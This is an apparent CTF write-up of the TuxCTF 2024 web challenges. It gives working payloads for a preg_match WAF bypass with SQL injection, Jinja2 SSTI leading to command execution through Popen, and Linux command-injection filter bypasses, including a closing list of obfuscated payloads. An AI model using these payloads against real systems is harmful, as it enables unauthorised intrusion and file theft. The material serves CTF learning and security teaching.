# tuxCTFV1

### TuxCTF 2024 web Writeups <a href="#tuxctf-2024-web-writeups" id="tuxctf-2024-web-writeups"></a>

Hello, This is the Intended solutions for TuxCTF 2024 web Challenges

### Level1 Sanity Check <a href="#level1-sanity-check" id="level1-sanity-check"></a>

you just have to view the page source

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FUzgRPnac6c5DEMmpYgRT%2Fimage.png?alt=media&#x26;token=8214b984-9301-4c4c-a521-8af96eed0e65" alt=""><figcaption></figcaption></figure></div>

The Flag:

```
tuxCTF{a1wAyS_ch3Ck_C0Mm3ntS}
```

***

### Level2 can you login? <a href="#level2-can-you-login" id="level2-can-you-login"></a>

We enter the link and find a login page

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FQqgcVXXVlxNryhqpEjWy%2Fimage.png?alt=media&#x26;token=45fd97b0-9e60-4dbc-8c4f-b7f8baeea2f4" alt=""><figcaption></figcaption></figure></div>

And we have the source code , whats intresting is the login.php file

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FG5P5b3yxWabdjNeZkudl%2Fimage.png?alt=media&#x26;token=b40541bf-b2c8-4257-a4df-993e5dad11fc" alt=""><figcaption></figcaption></figure></div>

We find a waf function, how does preg\_match works it searches for anything but litters and numbers, so anything else will be blocked!

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FgQQIRUr8ShFtsGZ6TH0s%2Fimage.png?alt=media&#x26;token=5cdb352b-1413-45b9-8d42-aff067106c2f" alt=""><figcaption></figcaption></figure></div>

but preg\_match is vulnerable, we can bypass it by giving it a long input, then it will not sanatize all of it and we can do sql injection!

<div data-full-width="true"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FlbIDxE5TRQLV5F9tHLEc%2Fimage.png?alt=media&#x26;token=e18d2f31-c96a-4567-9c4b-f3afba8fadd0" alt=""><figcaption></figcaption></figure></div>

to bypass the function we can do:

```bash
python3 -c 'print("A" * 9000)'
```

we copy the output and put in the last of it ‘or true– ‘

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FcIDPMVWViIbXh4ZJxsa8%2Fimage.png?alt=media&#x26;token=675c86e5-7819-4031-bedb-ed65f468bdc8" alt=""><figcaption></figcaption></figure></div>

and we have the flag!!!

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FEmIHlh46rWN8Mg2tmedZ%2Fimage.png?alt=media&#x26;token=ee3c5322-1588-483c-8674-81b4cf83db8f" alt=""><figcaption></figcaption></figure></div>

The Flag:

```
tuxCTF{$4n1T!ze_y0Ur_qu3rIeS} 
```

***

### Level 3 Templates <a href="#level3-templates" id="level3-templates"></a>

We go to the link , the page is empty, we notice the query parameter “template”.

In the source code we discover it’s a web app with flask.

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2F8resrqMFwczrQ3dnhZAS%2Fimage.png?alt=media&#x26;token=cc7af65a-37b4-433c-8a20-56cde9ae40f7" alt=""><figcaption></figcaption></figure></div>

a waf that blocks some words.

A quick google search and we know that flask is vulnerable to ssti!!!

to test it we will use the payload

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FwM3e20oNxmQplqH0ZH2P%2Fimage.png?alt=media&#x26;token=4e0a53d1-0332-404d-abed-22f9ba61fcb2" alt=""><figcaption></figcaption></figure></div>

and success it returned 49 which means it calculated it.

[SSTI payloads](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinja2)

we try this payload `dict.__base__.__subclasses__()`

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FdzP90NWCvuz93og9vkrQ%2Fimage.png?alt=media&#x26;token=9ddd9351-381b-47fe-9cfd-1f33eeac7d73" alt=""><figcaption></figcaption></figure></div>

we get a list of python classes, what we are intrested in is popen , if we can access it we can do anything on the server!!!

we have two ways to determine the popen class number: 1) write a python script which i will not do 2) fuzzing until we get it

on my local machine i got this `dict.__base__.__subclasses__()[291]`

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FqxL4rhB8lbwaWRqOBYii%2Fimage.png?alt=media&#x26;token=2f2bf5eb-8b5d-43f8-bb5d-e2a89a04cd38" alt=""><figcaption></figcaption></figure></div>

The Full Payload:

```python
dict.__base__.__subclasses__()[291]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()
```

The Flag:

```
tuxCTF{1s_1t_5$ti_0r_5$rf}
```

***

### Level4 dots <a href="#level4-dots" id="level4-dots"></a>

for this challenge you also have the source code.

it’s also a flask web app, but you can only access /run\_command and only send post requests to it.

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FC7x5tiyJVmiSPxcdQJT7%2Fimage.png?alt=media&#x26;token=4cdc48a7-0057-49d6-bd86-96fcf8ae9368" alt=""><figcaption></figcaption></figure></div>

open burpsuite and intercept the request.

right click in the request to change the method to POST.

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2F5CGXUA71TrHdOvt2Dq36%2Fimage.png?alt=media&#x26;token=8f9d0190-5901-4627-830f-55a7a6027de6" alt=""><figcaption></figcaption></figure></div>

if you try to send the request with anything this will be the response:

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FCVbRpRL2ih1xDEZI3A3n%2Fimage.png?alt=media&#x26;token=ce3081b7-7f60-4922-bef8-e4674ccd3f3f" alt=""><figcaption></figcaption></figure></div>

if we look back at the source code we will know that it takes the body parameters in json format.

```python
data = request.get_json()
```

then it will look for the key “command” and sanitize the data.

```python
if 'command' in data:
        command = str(data['command'])

        # Length check
        if len(command) < 5:
            return jsonify({'message': 'Command too short'}), 501

        # Perform security checks
        if '..' in command or '/' in command:
            return jsonify({'message': 'Hacking attempt detected'}), 501
```

to be able to send json data we need to change the header content type to application/json.

then add `{"command" : "hi"}` to the body of the request.

now if we send it we will get this response:

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2Fj26787Xttww92PxIf6jP%2Fimage.png?alt=media&#x26;token=ea1e894f-0f60-4041-a628-b73817564aaf" alt=""><figcaption></figcaption></figure></div>

which means our payload is working.

now let’s understand how does the app work:

```python
# Find path to executable
        executable_to_run = command.split()[0]

        # Check if we can execute the binary
        if os.access(executable_to_run, os.X_OK):

            # Execute binary if it exists and is executable
            out = os.popen(command).read()
            return jsonify({'message': 'Command output: ' + str(out)}), 200

    return jsonify({'message': 'Not implemented'}), 501


if __name__ == '__main__':

    # Make sure we can only execute binaries in the executables directory
    os.chdir('./executables/')

    # Run server
    app.run(host='0.0.0.0', port=7000)
```

here we can see that it will take the payload we send it, in the payload {“command” : “hi”} it will take it “hi” and then checks if it’s an executable in a directory named executables. we know this directory is empty from the docker file.

since the app is running on a Linux machine we know that the if the file is executable it will have the “x” permission.

if we try to do the command `ls -la` in a local Linux machine this the output:

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FGsTcUweTfcsJ3oRGh6KB%2Fimage.png?alt=media&#x26;token=fe6da296-6622-47f7-b5f8-b8632361cf9d" alt=""><figcaption></figcaption></figure>

we notice that . and .. are executable, .. is blacklisted but . is not!

if send `{"command" : "."}` we will get command to short, but if we send it with spaces `{"command" : ". "}`

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FJv1so5JKELh3LTd469mV%2Fimage.png?alt=media&#x26;token=b3b3f398-d1e4-4323-b72b-712fbd4edb54" alt=""><figcaption></figcaption></figure></div>

it works !!!

the output is empty because the command . doesnt give anything back, but we know in Linux we can do multiple commands in one line using pipe `|` or a semicolon, let’s try that.

`{"command" : ". | pwd"}`

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2Ftz1IGXok8tYzGduHCGjp%2Fimage.png?alt=media&#x26;token=82c1d003-f2bf-4fb5-b76c-14e25b291cde" alt=""><figcaption></figcaption></figure></div>

it works!!!

if we try `{"command" : ". | ls .."}` or `{"command" : ". | ls /"}` it will respond with:

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2Fu6Z6DhPqsqnDIdDQK7OL%2Fimage.png?alt=media&#x26;token=9c9e4580-3593-40e7-89b4-b89586b9f5b6" alt=""><figcaption></figcaption></figure></div>

to bypass this we can do alot of things, i choose to do `{"command" : ". | ls .''."}`

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FMaUwywuajcpXocz8c7k9%2Fimage.png?alt=media&#x26;token=f3f0d626-8bad-42b4-8db3-a22fe34327f5" alt=""><figcaption></figcaption></figure></div>

we can see that flag.txt is in the before directory, to bypass the slash restriction we can use `${HOME:0:1}`

`{"command" : ". | cat .''.${HOME:0:1}flag.txt"}`

to understand the payload, if we run echo `.''.` in any linux terminal the output will be `..`. and `${HOME:0:1}`, ${} we tell the shell to give us the output of some operation, here we tell it to take the home path variable , which is in every linux system, then it will slice it, for example the home directory absolute path is `/home/kali` it will take the first character which is `/`, so what will be executed in the machine terminal is

you can find various bypassing techniques in hacktricks:

[Bypass Linux Restrictions Payloads](https://book.hacktricks.xyz/linux-hardening/bypass-bash-restrictions)

pwned!!!

<div data-full-width="false"><figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FcVNoJWJGvOfHdekAL37k%2Fimage.png?alt=media&#x26;token=a545c954-0ac4-4b50-89af-ae300b8c7ac6" alt=""><figcaption></figcaption></figure></div>

The Flag:

```
tuxCTF{d0t$_4r3_3XeCut@b13}
```

here is a list of all intended payloads to solve this challenge:

{% code fullWidth="false" %}

```json
{ "command" : ". | ((echo Li4vZmxhZy50eHQ= | base64 -d) | xargs cat)" }
{ "command" : ". | ((echo L3Vzci9zcmMvYXBwL2ZsYWcudHh0 | base64 -d) | xargs cat)"}
{ "command" : ". <(echo true) && cd $(dirname $PWD) && cat flag.txt" }
{ "command" : ". <(echo true) ; cd $(dirname $PWD) ; cat flag.txt" }
{ "command" : ". | cat ${HOME:0:1}usr${HOME:0:1}src${HOME:0:1}app${HOME:0:1}flag.txt" }
{ "command" : ". ; python -c 'import os;x=os.path.normpath(os.getcwd() + os.sep + os.pardir);os.chdir(x);os.system(\"cat flag.txt\")'"}
{ "command" : ". $ or | or ; cat .''.${HOME:0:1}flag.txt 2>&1"}
{ "command" : ". <(echo true) &&  cat  .''.${HOME:0:1}flag.txt " }
```

{% endcode %}

happy pwning :)
